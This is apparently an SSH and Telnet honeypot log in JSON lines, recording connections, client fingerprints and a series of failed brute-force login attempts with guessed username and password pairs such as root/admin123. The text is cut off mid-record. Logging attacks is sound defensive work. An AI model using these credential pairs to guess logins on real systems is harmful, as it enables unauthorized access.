{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:56.253525Z","src_ip":"45.156.87.254","session":"700fd25d3387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:56.508898Z","src_ip":"45.156.87.254","session":"700fd25d3387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:57.602747Z","src_ip":"45.156.87.254","session":"700fd25d3387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60760,"dst_ip":"159.203.135.109","dst_port":22,"session":"61e220e028b8","protocol":"ssh","message":"New connection: 45.156.87.254:60760 (159.203.135.109:22) [session: 61e220e028b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:01.206740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:01.211531Z","src_ip":"45.156.87.254","session":"61e220e028b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:01.297039Z","src_ip":"45.156.87.254","session":"61e220e028b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:01.561891Z","src_ip":"45.156.87.254","session":"61e220e028b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45046,"dst_ip":"10.17.0.5","dst_port":23,"session":"8999b16087d0","protocol":"telnet","message":"New connection: 20.123.41.163:45046 (10.17.0.5:23) [session: 8999b16087d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:02.141494Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:02.649775Z","src_ip":"45.156.87.254","session":"61e220e028b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":47304,"dst_ip":"10.17.0.5","dst_port":22,"session":"128abd439f07","protocol":"ssh","message":"New connection: 45.144.233.139:47304 (10.17.0.5:22) [session: 128abd439f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:04.619398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:04.629150Z","src_ip":"45.144.233.139","session":"128abd439f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:04.717747Z","src_ip":"45.144.233.139","session":"128abd439f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe","message":"login attempt [ubuntu/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:05.100917Z","src_ip":"45.144.233.139","session":"128abd439f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:06.191371Z","src_ip":"45.144.233.139","session":"128abd439f07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60772,"dst_ip":"159.203.135.109","dst_port":22,"session":"19afa44806a9","protocol":"ssh","message":"New connection: 45.156.87.254:60772 (159.203.135.109:22) [session: 19afa44806a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:06.594826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:06.601169Z","src_ip":"45.156.87.254","session":"19afa44806a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:06.686111Z","src_ip":"45.156.87.254","session":"19afa44806a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:06.941273Z","src_ip":"45.156.87.254","session":"19afa44806a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:08.026216Z","src_ip":"45.156.87.254","session":"19afa44806a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38238,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9178a6155fc","protocol":"ssh","message":"New connection: 45.156.87.254:38238 (159.203.135.109:22) [session: c9178a6155fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:12.357268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:12.361713Z","src_ip":"45.156.87.254","session":"c9178a6155fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:12.506819Z","src_ip":"45.156.87.254","session":"c9178a6155fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:12.761414Z","src_ip":"45.156.87.254","session":"c9178a6155fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:13.850672Z","src_ip":"45.156.87.254","session":"c9178a6155fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38242,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb0c8955310","protocol":"ssh","message":"New connection: 45.156.87.254:38242 (159.203.135.109:22) [session: bbb0c8955310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:17.910814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:17.915827Z","src_ip":"45.156.87.254","session":"bbb0c8955310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:17.999541Z","src_ip":"45.156.87.254","session":"bbb0c8955310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:18.248253Z","src_ip":"45.156.87.254","session":"bbb0c8955310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:19.337600Z","src_ip":"45.156.87.254","session":"bbb0c8955310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45170,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc19406ed182","protocol":"ssh","message":"New connection: 45.156.87.254:45170 (159.203.135.109:22) [session: fc19406ed182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:23.002830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:23.240971Z","src_ip":"45.156.87.254","session":"fc19406ed182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:23.333162Z","src_ip":"45.156.87.254","session":"fc19406ed182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:23.773492Z","src_ip":"45.156.87.254","session":"fc19406ed182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:24.861359Z","src_ip":"45.156.87.254","session":"fc19406ed182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45200,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c84b2305ed9","protocol":"ssh","message":"New connection: 45.156.87.254:45200 (159.203.135.109:22) [session: 9c84b2305ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:27.909522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:27.914382Z","src_ip":"45.156.87.254","session":"9c84b2305ed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:27.999730Z","src_ip":"45.156.87.254","session":"9c84b2305ed9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:28.671875Z","src_ip":"45.156.87.254","session":"9c84b2305ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:29.758322Z","src_ip":"45.156.87.254","session":"9c84b2305ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44786,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db3b55e0baa","protocol":"ssh","message":"New connection: 45.156.87.254:44786 (159.203.135.109:22) [session: 2db3b55e0baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:32.885191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:32.889980Z","src_ip":"45.156.87.254","session":"2db3b55e0baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a